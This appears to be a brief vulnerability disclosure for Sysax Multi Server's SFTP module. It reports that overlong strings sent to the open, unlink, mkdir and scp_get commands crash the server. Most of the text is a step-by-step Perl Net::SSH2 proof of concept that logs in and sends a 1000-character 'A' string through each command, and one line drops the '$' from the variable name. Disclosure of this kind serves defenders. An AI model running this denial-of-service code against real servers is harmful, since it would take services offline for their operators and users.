Sysax Multi Server(SFTP module) “open”, “unlink”, “mkdir”, “scp_get” Commands DoS Vulnerabilities
Several Denial of Service vulnerabilities exist in SFTP module of Sysax Multi Server. The unsafe commands include "open","unlink", "mkdir" and etc. .which can not handle overlength strings properly. If you could log on the server successfully, take the following steps and the Sysax Multi server will crash which would lead to Denial of Service attack: #initialize $FUZZ = "A" x 1000; 1. $ssh2 = Net::SSH2->new(); 2. $ssh2->connect($server, $port); 3. $ssh2->auth_password($user, $pass); #there are several ways to compromise the server, I list them here as 4.1, 4.2, and etc. ... 4.1 $scpget = $ssh2->scp_get($FUZZ); 4.2 $sftp = $ssh2->sftp(); $o1 = $sftp->open($FUZZ); 4.3 $sftp = $ssh2->sftp(); $u = $sftp->unlink(FUZZ); 4.4 $sftp = $ssh2->sftp(); $m = $sftp->mkdir($FUZZ); 5 $ssh2->disconnect();